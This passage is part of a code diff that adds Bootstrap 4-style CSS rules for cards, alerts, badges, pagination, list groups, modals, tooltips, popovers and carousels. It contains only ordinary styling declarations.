+    margin-bottom: 0;
+    margin-left: 15px;
+  }
+}
+
+.card-group {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+}
+
+.card-group > .card {
+  margin-bottom: 15px;
+}
+
+@media (min-width: 576px) {
+  .card-group {
+    -ms-flex-flow: row wrap;
+    flex-flow: row wrap;
+  }
+  .card-group > .card {
+    -ms-flex: 1 0 0%;
+    flex: 1 0 0%;
+    margin-bottom: 0;
+  }
+  .card-group > .card + .card {
+    margin-left: 0;
+    border-left: 0;
+  }
+  .card-group > .card:first-child {
+    border-top-right-radius: 0;
+    border-bottom-right-radius: 0;
+  }
+  .card-group > .card:first-child .card-img-top,
+  .card-group > .card:first-child .card-header {
+    border-top-right-radius: 0;
+  }
+  .card-group > .card:first-child .card-img-bottom,
+  .card-group > .card:first-child .card-footer {
+    border-bottom-right-radius: 0;
+  }
+  .card-group > .card:last-child {
+    border-top-left-radius: 0;
+    border-bottom-left-radius: 0;
+  }
+  .card-group > .card:last-child .card-img-top,
+  .card-group > .card:last-child .card-header {
+    border-top-left-radius: 0;
+  }
+  .card-group > .card:last-child .card-img-bottom,
+  .card-group > .card:last-child .card-footer {
+    border-bottom-left-radius: 0;
+  }
+  .card-group > .card:only-child {
+    border-radius: 0.25rem;
+  }
+  .card-group > .card:only-child .card-img-top,
+  .card-group > .card:only-child .card-header {
+    border-top-left-radius: 0.25rem;
+    border-top-right-radius: 0.25rem;
+  }
+  .card-group > .card:only-child .card-img-bottom,
+  .card-group > .card:only-child .card-footer {
+    border-bottom-right-radius: 0.25rem;
+    border-bottom-left-radius: 0.25rem;
+  }
+  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {
+    border-radius: 0;
+  }
+  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,
+  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,
+  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,
+  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {
+    border-radius: 0;
+  }
+}
+
+.card-columns .card {
+  margin-bottom: 0.75rem;
+}
+
+@media (min-width: 576px) {
+  .card-columns {
+    -webkit-column-count: 3;
+    -moz-column-count: 3;
+    column-count: 3;
+    -webkit-column-gap: 1.25rem;
+    -moz-column-gap: 1.25rem;
+    column-gap: 1.25rem;
+    orphans: 1;
+    widows: 1;
+  }
+  .card-columns .card {
+    display: inline-block;
+    width: 100%;
+  }
+}
+
+.accordion .card:not(:first-of-type):not(:last-of-type) {
+  border-bottom: 0;
+  border-radius: 0;
+}
+
+.accordion .card:not(:first-of-type) .card-header:first-child {
+  border-radius: 0;
+}
+
+.accordion .card:first-of-type {
+  border-bottom: 0;
+  border-bottom-right-radius: 0;
+  border-bottom-left-radius: 0;
+}
+
+.accordion .card:last-of-type {
+  border-top-left-radius: 0;
+  border-top-right-radius: 0;
+}
+
+.breadcrumb {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  padding: 0.75rem 1rem;
+  margin-bottom: 1rem;
+  list-style: none;
+  background-color: #e9ecef;
+  border-radius: 0.25rem;
+}
+
+.breadcrumb-item + .breadcrumb-item {
+  padding-left: 0.5rem;
+}
+
+.breadcrumb-item + .breadcrumb-item::before {
+  display: inline-block;
+  padding-right: 0.5rem;
+  color: #6c757d;
+  content: "/";
+}
+
+.breadcrumb-item + .breadcrumb-item:hover::before {
+  text-decoration: underline;
+}
+
+.breadcrumb-item + .breadcrumb-item:hover::before {
+  text-decoration: none;
+}
+
+.breadcrumb-item.active {
+  color: #6c757d;
+}
+
+.pagination {
+  display: -ms-flexbox;
+  display: flex;
+  padding-left: 0;
+  list-style: none;
+  border-radius: 0.25rem;
+}
+
+.page-link {
+  position: relative;
+  display: block;
+  padding: 0.5rem 0.75rem;
+  margin-left: -1px;
+  line-height: 1.25;
+  color: #007bff;
+  background-color: #fff;
+  border: 1px solid #dee2e6;
+}
+
+.page-link:hover {
+  z-index: 2;
+  color: #0056b3;
+  text-decoration: none;
+  background-color: #e9ecef;
+  border-color: #dee2e6;
+}
+
+.page-link:focus {
+  z-index: 2;
+  outline: 0;
+  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+
+.page-link:not(:disabled):not(.disabled) {
+  cursor: pointer;
+}
+
+.page-item:first-child .page-link {
+  margin-left: 0;
+  border-top-left-radius: 0.25rem;
+  border-bottom-left-radius: 0.25rem;
+}
+
+.page-item:last-child .page-link {
+  border-top-right-radius: 0.25rem;
+  border-bottom-right-radius: 0.25rem;
+}
+
+.page-item.active .page-link {
+  z-index: 1;
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.page-item.disabled .page-link {
+  color: #6c757d;
+  pointer-events: none;
+  cursor: auto;
+  background-color: #fff;
+  border-color: #dee2e6;
+}
+
+.pagination-lg .page-link {
+  padding: 0.75rem 1.5rem;
+  font-size: 1.25rem;
+  line-height: 1.5;
+}
+
+.pagination-lg .page-item:first-child .page-link {
+  border-top-left-radius: 0.3rem;
+  border-bottom-left-radius: 0.3rem;
+}
+
+.pagination-lg .page-item:last-child .page-link {
+  border-top-right-radius: 0.3rem;
+  border-bottom-right-radius: 0.3rem;
+}
+
+.pagination-sm .page-link {
+  padding: 0.25rem 0.5rem;
+  font-size: 0.875rem;
+  line-height: 1.5;
+}
+
+.pagination-sm .page-item:first-child .page-link {
+  border-top-left-radius: 0.2rem;
+  border-bottom-left-radius: 0.2rem;
+}
+
+.pagination-sm .page-item:last-child .page-link {
+  border-top-right-radius: 0.2rem;
+  border-bottom-right-radius: 0.2rem;
+}
+
+.badge {
+  display: inline-block;
+  padding: 0.25em 0.4em;
+  font-size: 75%;
+  font-weight: 700;
+  line-height: 1;
+  text-align: center;
+  white-space: nowrap;
+  vertical-align: baseline;
+  border-radius: 0.25rem;
+}
+
+.badge:empty {
+  display: none;
+}
+
+.btn .badge {
+  position: relative;
+  top: -1px;
+}
+
+.badge-pill {
+  padding-right: 0.6em;
+  padding-left: 0.6em;
+  border-radius: 10rem;
+}
+
+.badge-primary {
+  color: #fff;
+  background-color: #007bff;
+}
+
+.badge-primary[href]:hover, .badge-primary[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #0062cc;
+}
+
+.badge-secondary {
+  color: #fff;
+  background-color: #6c757d;
+}
+
+.badge-secondary[href]:hover, .badge-secondary[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #545b62;
+}
+
+.badge-success {
+  color: #fff;
+  background-color: #28a745;
+}
+
+.badge-success[href]:hover, .badge-success[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #1e7e34;
+}
+
+.badge-info {
+  color: #fff;
+  background-color: #17a2b8;
+}
+
+.badge-info[href]:hover, .badge-info[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #117a8b;
+}
+
+.badge-warning {
+  color: #212529;
+  background-color: #ffc107;
+}
+
+.badge-warning[href]:hover, .badge-warning[href]:focus {
+  color: #212529;
+  text-decoration: none;
+  background-color: #d39e00;
+}
+
+.badge-danger {
+  color: #fff;
+  background-color: #dc3545;
+}
+
+.badge-danger[href]:hover, .badge-danger[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #bd2130;
+}
+
+.badge-light {
+  color: #212529;
+  background-color: #f8f9fa;
+}
+
+.badge-light[href]:hover, .badge-light[href]:focus {
+  color: #212529;
+  text-decoration: none;
+  background-color: #dae0e5;
+}
+
+.badge-dark {
+  color: #fff;
+  background-color: #343a40;
+}
+
+.badge-dark[href]:hover, .badge-dark[href]:focus {
+  color: #fff;
+  text-decoration: none;
+  background-color: #1d2124;
+}
+
+.jumbotron {
+  padding: 2rem 1rem;
+  margin-bottom: 2rem;
+  background-color: #e9ecef;
+  border-radius: 0.3rem;
+}
+
+@media (min-width: 576px) {
+  .jumbotron {
+    padding: 4rem 2rem;
+  }
+}
+
+.jumbotron-fluid {
+  padding-right: 0;
+  padding-left: 0;
+  border-radius: 0;
+}
+
+.alert {
+  position: relative;
+  padding: 0.75rem 1.25rem;
+  margin-bottom: 1rem;
+  border: 1px solid transparent;
+  border-radius: 0.25rem;
+}
+
+.alert-heading {
+  color: inherit;
+}
+
+.alert-link {
+  font-weight: 700;
+}
+
+.alert-dismissible {
+  padding-right: 4rem;
+}
+
+.alert-dismissible .close {
+  position: absolute;
+  top: 0;
+  right: 0;
+  padding: 0.75rem 1.25rem;
+  color: inherit;
+}
+
+.alert-primary {
+  color: #004085;
+  background-color: #cce5ff;
+  border-color: #b8daff;
+}
+
+.alert-primary hr {
+  border-top-color: #9fcdff;
+}
+
+.alert-primary .alert-link {
+  color: #002752;
+}
+
+.alert-secondary {
+  color: #383d41;
+  background-color: #e2e3e5;
+  border-color: #d6d8db;
+}
+
+.alert-secondary hr {
+  border-top-color: #c8cbcf;
+}
+
+.alert-secondary .alert-link {
+  color: #202326;
+}
+
+.alert-success {
+  color: #155724;
+  background-color: #d4edda;
+  border-color: #c3e6cb;
+}
+
+.alert-success hr {
+  border-top-color: #b1dfbb;
+}
+
+.alert-success .alert-link {
+  color: #0b2e13;
+}
+
+.alert-info {
+  color: #0c5460;
+  background-color: #d1ecf1;
+  border-color: #bee5eb;
+}
+
+.alert-info hr {
+  border-top-color: #abdde5;
+}
+
+.alert-info .alert-link {
+  color: #062c33;
+}
+
+.alert-warning {
+  color: #856404;
+  background-color: #fff3cd;
+  border-color: #ffeeba;
+}
+
+.alert-warning hr {
+  border-top-color: #ffe8a1;
+}
+
+.alert-warning .alert-link {
+  color: #533f03;
+}
+
+.alert-danger {
+  color: #721c24;
+  background-color: #f8d7da;
+  border-color: #f5c6cb;
+}
+
+.alert-danger hr {
+  border-top-color: #f1b0b7;
+}
+
+.alert-danger .alert-link {
+  color: #491217;
+}
+
+.alert-light {
+  color: #818182;
+  background-color: #fefefe;
+  border-color: #fdfdfe;
+}
+
+.alert-light hr {
+  border-top-color: #ececf6;
+}
+
+.alert-light .alert-link {
+  color: #686868;
+}
+
+.alert-dark {
+  color: #1b1e21;
+  background-color: #d6d8d9;
+  border-color: #c6c8ca;
+}
+
+.alert-dark hr {
+  border-top-color: #b9bbbe;
+}
+
+.alert-dark .alert-link {
+  color: #040505;
+}
+
+@-webkit-keyframes progress-bar-stripes {
+  from {
+    background-position: 1rem 0;
+  }
+  to {
+    background-position: 0 0;
+  }
+}
+
+@keyframes progress-bar-stripes {
+  from {
+    background-position: 1rem 0;
+  }
+  to {
+    background-position: 0 0;
+  }
+}
+
+.progress {
+  display: -ms-flexbox;
+  display: flex;
+  height: 1rem;
+  overflow: hidden;
+  font-size: 0.75rem;
+  background-color: #e9ecef;
+  border-radius: 0.25rem;
+}
+
+.progress-bar {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+  -ms-flex-pack: center;
+  justify-content: center;
+  color: #fff;
+  text-align: center;
+  white-space: nowrap;
+  background-color: #007bff;
+  transition: width 0.6s ease;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .progress-bar {
+    transition: none;
+  }
+}
+
+.progress-bar-striped {
+  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
+  background-size: 1rem 1rem;
+}
+
+.progress-bar-animated {
+  -webkit-animation: progress-bar-stripes 1s linear infinite;
+  animation: progress-bar-stripes 1s linear infinite;
+}
+
+.media {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: start;
+  align-items: flex-start;
+}
+
+.media-body {
+  -ms-flex: 1;
+  flex: 1;
+}
+
+.list-group {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+  padding-left: 0;
+  margin-bottom: 0;
+}
+
+.list-group-item-action {
+  width: 100%;
+  color: #495057;
+  text-align: inherit;
+}
+
+.list-group-item-action:hover, .list-group-item-action:focus {
+  color: #495057;
+  text-decoration: none;
+  background-color: #f8f9fa;
+}
+
+.list-group-item-action:active {
+  color: #212529;
+  background-color: #e9ecef;
+}
+
+.list-group-item {
+  position: relative;
+  display: block;
+  padding: 0.75rem 1.25rem;
+  margin-bottom: -1px;
+  background-color: #fff;
+  border: 1px solid rgba(0, 0, 0, 0.125);
+}
+
+.list-group-item:first-child {
+  border-top-left-radius: 0.25rem;
+  border-top-right-radius: 0.25rem;
+}
+
+.list-group-item:last-child {
+  margin-bottom: 0;
+  border-bottom-right-radius: 0.25rem;
+  border-bottom-left-radius: 0.25rem;
+}
+
+.list-group-item:hover, .list-group-item:focus {
+  z-index: 1;
+  text-decoration: none;
+}
+
+.list-group-item.disabled, .list-group-item:disabled {
+  color: #6c757d;
+  background-color: #fff;
+}
+
+.list-group-item.active {
+  z-index: 2;
+  color: #fff;
+  background-color: #007bff;
+  border-color: #007bff;
+}
+
+.list-group-flush .list-group-item {
+  border-right: 0;
+  border-left: 0;
+  border-radius: 0;
+}
+
+.list-group-flush:first-child .list-group-item:first-child {
+  border-top: 0;
+}
+
+.list-group-flush:last-child .list-group-item:last-child {
+  border-bottom: 0;
+}
+
+.list-group-item-primary {
+  color: #004085;
+  background-color: #b8daff;
+}
+
+.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {
+  color: #004085;
+  background-color: #9fcdff;
+}
+
+.list-group-item-primary.list-group-item-action.active {
+  color: #fff;
+  background-color: #004085;
+  border-color: #004085;
+}
+
+.list-group-item-secondary {
+  color: #383d41;
+  background-color: #d6d8db;
+}
+
+.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {
+  color: #383d41;
+  background-color: #c8cbcf;
+}
+
+.list-group-item-secondary.list-group-item-action.active {
+  color: #fff;
+  background-color: #383d41;
+  border-color: #383d41;
+}
+
+.list-group-item-success {
+  color: #155724;
+  background-color: #c3e6cb;
+}
+
+.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {
+  color: #155724;
+  background-color: #b1dfbb;
+}
+
+.list-group-item-success.list-group-item-action.active {
+  color: #fff;
+  background-color: #155724;
+  border-color: #155724;
+}
+
+.list-group-item-info {
+  color: #0c5460;
+  background-color: #bee5eb;
+}
+
+.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {
+  color: #0c5460;
+  background-color: #abdde5;
+}
+
+.list-group-item-info.list-group-item-action.active {
+  color: #fff;
+  background-color: #0c5460;
+  border-color: #0c5460;
+}
+
+.list-group-item-warning {
+  color: #856404;
+  background-color: #ffeeba;
+}
+
+.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {
+  color: #856404;
+  background-color: #ffe8a1;
+}
+
+.list-group-item-warning.list-group-item-action.active {
+  color: #fff;
+  background-color: #856404;
+  border-color: #856404;
+}
+
+.list-group-item-danger {
+  color: #721c24;
+  background-color: #f5c6cb;
+}
+
+.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {
+  color: #721c24;
+  background-color: #f1b0b7;
+}
+
+.list-group-item-danger.list-group-item-action.active {
+  color: #fff;
+  background-color: #721c24;
+  border-color: #721c24;
+}
+
+.list-group-item-light {
+  color: #818182;
+  background-color: #fdfdfe;
+}
+
+.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {
+  color: #818182;
+  background-color: #ececf6;
+}
+
+.list-group-item-light.list-group-item-action.active {
+  color: #fff;
+  background-color: #818182;
+  border-color: #818182;
+}
+
+.list-group-item-dark {
+  color: #1b1e21;
+  background-color: #c6c8ca;
+}
+
+.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {
+  color: #1b1e21;
+  background-color: #b9bbbe;
+}
+
+.list-group-item-dark.list-group-item-action.active {
+  color: #fff;
+  background-color: #1b1e21;
+  border-color: #1b1e21;
+}
+
+.close {
+  float: right;
+  font-size: 1.5rem;
+  font-weight: 700;
+  line-height: 1;
+  color: #000;
+  text-shadow: 0 1px 0 #fff;
+  opacity: .5;
+}
+
+.close:hover, .close:focus {
+  color: #000;
+  text-decoration: none;
+  opacity: .75;
+}
+
+.close:not(:disabled):not(.disabled) {
+  cursor: pointer;
+}
+
+button.close {
+  padding: 0;
+  background-color: transparent;
+  border: 0;
+  -webkit-appearance: none;
+}
+
+.modal-open {
+  overflow: hidden;
+}
+
+.modal {
+  position: fixed;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  z-index: 1050;
+  display: none;
+  overflow: hidden;
+  outline: 0;
+}
+
+.modal-open .modal {
+  overflow-x: hidden;
+  overflow-y: auto;
+}
+
+.modal-dialog {
+  position: relative;
+  width: auto;
+  margin: 0.5rem;
+  pointer-events: none;
+}
+
+.modal.fade .modal-dialog {
+  transition: -webkit-transform 0.3s ease-out;
+  transition: transform 0.3s ease-out;
+  transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out;
+  -webkit-transform: translate(0, -25%);
+  transform: translate(0, -25%);
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .modal.fade .modal-dialog {
+    transition: none;
+  }
+}
+
+.modal.show .modal-dialog {
+  -webkit-transform: translate(0, 0);
+  transform: translate(0, 0);
+}
+
+.modal-dialog-centered {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: center;
+  align-items: center;
+  min-height: calc(100% - (0.5rem * 2));
+}
+
+.modal-content {
+  position: relative;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-direction: column;
+  flex-direction: column;
+  width: 100%;
+  pointer-events: auto;
+  background-color: #fff;
+  background-clip: padding-box;
+  border: 1px solid rgba(0, 0, 0, 0.2);
+  border-radius: 0.3rem;
+  outline: 0;
+}
+
+.modal-backdrop {
+  position: fixed;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  z-index: 1040;
+  background-color: #000;
+}
+
+.modal-backdrop.fade {
+  opacity: 0;
+}
+
+.modal-backdrop.show {
+  opacity: 0.5;
+}
+
+.modal-header {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: start;
+  align-items: flex-start;
+  -ms-flex-pack: justify;
+  justify-content: space-between;
+  padding: 1rem;
+  border-bottom: 1px solid #e9ecef;
+  border-top-left-radius: 0.3rem;
+  border-top-right-radius: 0.3rem;
+}
+
+.modal-header .close {
+  padding: 1rem;
+  margin: -1rem -1rem -1rem auto;
+}
+
+.modal-title {
+  margin-bottom: 0;
+  line-height: 1.5;
+}
+
+.modal-body {
+  position: relative;
+  -ms-flex: 1 1 auto;
+  flex: 1 1 auto;
+  padding: 1rem;
+}
+
+.modal-footer {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: center;
+  align-items: center;
+  -ms-flex-pack: end;
+  justify-content: flex-end;
+  padding: 1rem;
+  border-top: 1px solid #e9ecef;
+}
+
+.modal-footer > :not(:first-child) {
+  margin-left: .25rem;
+}
+
+.modal-footer > :not(:last-child) {
+  margin-right: .25rem;
+}
+
+.modal-scrollbar-measure {
+  position: absolute;
+  top: -9999px;
+  width: 50px;
+  height: 50px;
+  overflow: scroll;
+}
+
+@media (min-width: 576px) {
+  .modal-dialog {
+    max-width: 500px;
+    margin: 1.75rem auto;
+  }
+  .modal-dialog-centered {
+    min-height: calc(100% - (1.75rem * 2));
+  }
+  .modal-sm {
+    max-width: 300px;
+  }
+}
+
+@media (min-width: 992px) {
+  .modal-lg {
+    max-width: 800px;
+  }
+}
+
+.tooltip {
+  position: absolute;
+  z-index: 1070;
+  display: block;
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+  font-style: normal;
+  font-weight: 400;
+  line-height: 1.5;
+  text-align: left;
+  text-align: start;
+  text-decoration: none;
+  text-shadow: none;
+  text-transform: none;
+  letter-spacing: normal;
+  word-break: normal;
+  word-spacing: normal;
+  white-space: normal;
+  line-break: auto;
+  font-size: 0.875rem;
+  word-wrap: break-word;
+  opacity: 0;
+}
+
+.tooltip.show {
+  opacity: 0.9;
+}
+
+.tooltip .arrow {
+  position: absolute;
+  display: block;
+  width: 0.8rem;
+  height: 0.4rem;
+}
+
+.tooltip .arrow::before {
+  position: absolute;
+  content: "";
+  border-color: transparent;
+  border-style: solid;
+}
+
+.bs-tooltip-top, .bs-tooltip-auto[x-placement^="top"] {
+  padding: 0.4rem 0;
+}
+
+.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^="top"] .arrow {
+  bottom: 0;
+}
+
+.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^="top"] .arrow::before {
+  top: 0;
+  border-width: 0.4rem 0.4rem 0;
+  border-top-color: #000;
+}
+
+.bs-tooltip-right, .bs-tooltip-auto[x-placement^="right"] {
+  padding: 0 0.4rem;
+}
+
+.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^="right"] .arrow {
+  left: 0;
+  width: 0.4rem;
+  height: 0.8rem;
+}
+
+.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^="right"] .arrow::before {
+  right: 0;
+  border-width: 0.4rem 0.4rem 0.4rem 0;
+  border-right-color: #000;
+}
+
+.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^="bottom"] {
+  padding: 0.4rem 0;
+}
+
+.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^="bottom"] .arrow {
+  top: 0;
+}
+
+.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^="bottom"] .arrow::before {
+  bottom: 0;
+  border-width: 0 0.4rem 0.4rem;
+  border-bottom-color: #000;
+}
+
+.bs-tooltip-left, .bs-tooltip-auto[x-placement^="left"] {
+  padding: 0 0.4rem;
+}
+
+.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^="left"] .arrow {
+  right: 0;
+  width: 0.4rem;
+  height: 0.8rem;
+}
+
+.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^="left"] .arrow::before {
+  left: 0;
+  border-width: 0.4rem 0 0.4rem 0.4rem;
+  border-left-color: #000;
+}
+
+.tooltip-inner {
+  max-width: 200px;
+  padding: 0.25rem 0.5rem;
+  color: #fff;
+  text-align: center;
+  background-color: #000;
+  border-radius: 0.25rem;
+}
+
+.popover {
+  position: absolute;
+  top: 0;
+  left: 0;
+  z-index: 1060;
+  display: block;
+  max-width: 276px;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+  font-style: normal;
+  font-weight: 400;
+  line-height: 1.5;
+  text-align: left;
+  text-align: start;
+  text-decoration: none;
+  text-shadow: none;
+  text-transform: none;
+  letter-spacing: normal;
+  word-break: normal;
+  word-spacing: normal;
+  white-space: normal;
+  line-break: auto;
+  font-size: 0.875rem;
+  word-wrap: break-word;
+  background-color: #fff;
+  background-clip: padding-box;
+  border: 1px solid rgba(0, 0, 0, 0.2);
+  border-radius: 0.3rem;
+}
+
+.popover .arrow {
+  position: absolute;
+  display: block;
+  width: 1rem;
+  height: 0.5rem;
+  margin: 0 0.3rem;
+}
+
+.popover .arrow::before, .popover .arrow::after {
+  position: absolute;
+  display: block;
+  content: "";
+  border-color: transparent;
+  border-style: solid;
+}
+
+.bs-popover-top, .bs-popover-auto[x-placement^="top"] {
+  margin-bottom: 0.5rem;
+}
+
+.bs-popover-top .arrow, .bs-popover-auto[x-placement^="top"] .arrow {
+  bottom: calc((0.5rem + 1px) * -1);
+}
+
+.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before,
+.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after {
+  border-width: 0.5rem 0.5rem 0;
+}
+
+.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before {
+  bottom: 0;
+  border-top-color: rgba(0, 0, 0, 0.25);
+}
+
+.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after {
+  bottom: 1px;
+  border-top-color: #fff;
+}
+
+.bs-popover-right, .bs-popover-auto[x-placement^="right"] {
+  margin-left: 0.5rem;
+}
+
+.bs-popover-right .arrow, .bs-popover-auto[x-placement^="right"] .arrow {
+  left: calc((0.5rem + 1px) * -1);
+  width: 0.5rem;
+  height: 1rem;
+  margin: 0.3rem 0;
+}
+
+.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before,
+.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after {
+  border-width: 0.5rem 0.5rem 0.5rem 0;
+}
+
+.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before {
+  left: 0;
+  border-right-color: rgba(0, 0, 0, 0.25);
+}
+
+.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after {
+  left: 1px;
+  border-right-color: #fff;
+}
+
+.bs-popover-bottom, .bs-popover-auto[x-placement^="bottom"] {
+  margin-top: 0.5rem;
+}
+
+.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^="bottom"] .arrow {
+  top: calc((0.5rem + 1px) * -1);
+}
+
+.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before,
+.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after {
+  border-width: 0 0.5rem 0.5rem 0.5rem;
+}
+
+.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before {
+  top: 0;
+  border-bottom-color: rgba(0, 0, 0, 0.25);
+}
+
+.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after {
+  top: 1px;
+  border-bottom-color: #fff;
+}
+
+.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^="bottom"] .popover-header::before {
+  position: absolute;
+  top: 0;
+  left: 50%;
+  display: block;
+  width: 1rem;
+  margin-left: -0.5rem;
+  content: "";
+  border-bottom: 1px solid #f7f7f7;
+}
+
+.bs-popover-left, .bs-popover-auto[x-placement^="left"] {
+  margin-right: 0.5rem;
+}
+
+.bs-popover-left .arrow, .bs-popover-auto[x-placement^="left"] .arrow {
+  right: calc((0.5rem + 1px) * -1);
+  width: 0.5rem;
+  height: 1rem;
+  margin: 0.3rem 0;
+}
+
+.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before,
+.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after {
+  border-width: 0.5rem 0 0.5rem 0.5rem;
+}
+
+.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before {
+  right: 0;
+  border-left-color: rgba(0, 0, 0, 0.25);
+}
+
+.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after {
+  right: 1px;
+  border-left-color: #fff;
+}
+
+.popover-header {
+  padding: 0.5rem 0.75rem;
+  margin-bottom: 0;
+  font-size: 1rem;
+  color: inherit;
+  background-color: #f7f7f7;
+  border-bottom: 1px solid #ebebeb;
+  border-top-left-radius: calc(0.3rem - 1px);
+  border-top-right-radius: calc(0.3rem - 1px);
+}
+
+.popover-header:empty {
+  display: none;
+}
+
+.popover-body {
+  padding: 0.5rem 0.75rem;
+  color: #212529;
+}
+
+.carousel {
+  position: relative;
+}
+
+.carousel-inner {
+  position: relative;
+  width: 100%;
+  overflow: hidden;
+}
+
+.carousel-item {
+  position: relative;
+  display: none;
+  -ms-flex-align: center;
+  align-items: center;
+  width: 100%;
+  transition: -webkit-transform 0.6s ease;
+  transition: transform 0.6s ease;
+  transition: transform 0.6s ease, -webkit-transform 0.6s ease;
+  -webkit-backface-visibility: hidden;
+  backface-visibility: hidden;
+  -webkit-perspective: 1000px;
+  perspective: 1000px;
+}
+
+@media screen and (prefers-reduced-motion: reduce) {
+  .carousel-item {
+    transition: none;
+  }
+}
+
+.carousel-item.active,
+.carousel-item-next,
+.carousel-item-prev {
+  display: block;
+}
+
+.carousel-item-next,
+.carousel-item-prev {
+  position: absolute;
+  top: 0;
+}
+
+.carousel-item-next.carousel-item-left,
+.carousel-item-prev.carousel-item-right {
+  -webkit-transform: translateX(0);
+  transform: translateX(0);
+}
+
+@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {
+  .carousel-item-next.carousel-item-left,
+  .carousel-item-prev.carousel-item-right {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.carousel-item-next,
+.active.carousel-item-right {
+  -webkit-transform: translateX(100%);
+  transform: translateX(100%);
+}
+
+@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {
+  .carousel-item-next,
+  .active.carousel-item-right {
+    -webkit-transform: translate3d(100%, 0, 0);
+    transform: translate3d(100%, 0, 0);
+  }
+}
+
+.carousel-item-prev,
+.active.carousel-item-left {
+  -webkit-transform: translateX(-100%);
+  transform: translateX(-100%);
+}
+
+@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {
+  .carousel-item-prev,
+  .active.carousel-item-left {
+    -webkit-transform: translate3d(-100%, 0, 0);
+    transform: translate3d(-100%, 0, 0);
+  }
+}
+
+.carousel-fade .carousel-item {
+  opacity: 0;
+  transition-duration: .6s;
+  transition-property: opacity;
+}
+
+.carousel-fade .carousel-item.active,
+.carousel-fade .carousel-item-next.carousel-item-left,
+.carousel-fade .carousel-item-prev.carousel-item-right {
+  opacity: 1;
+}
+
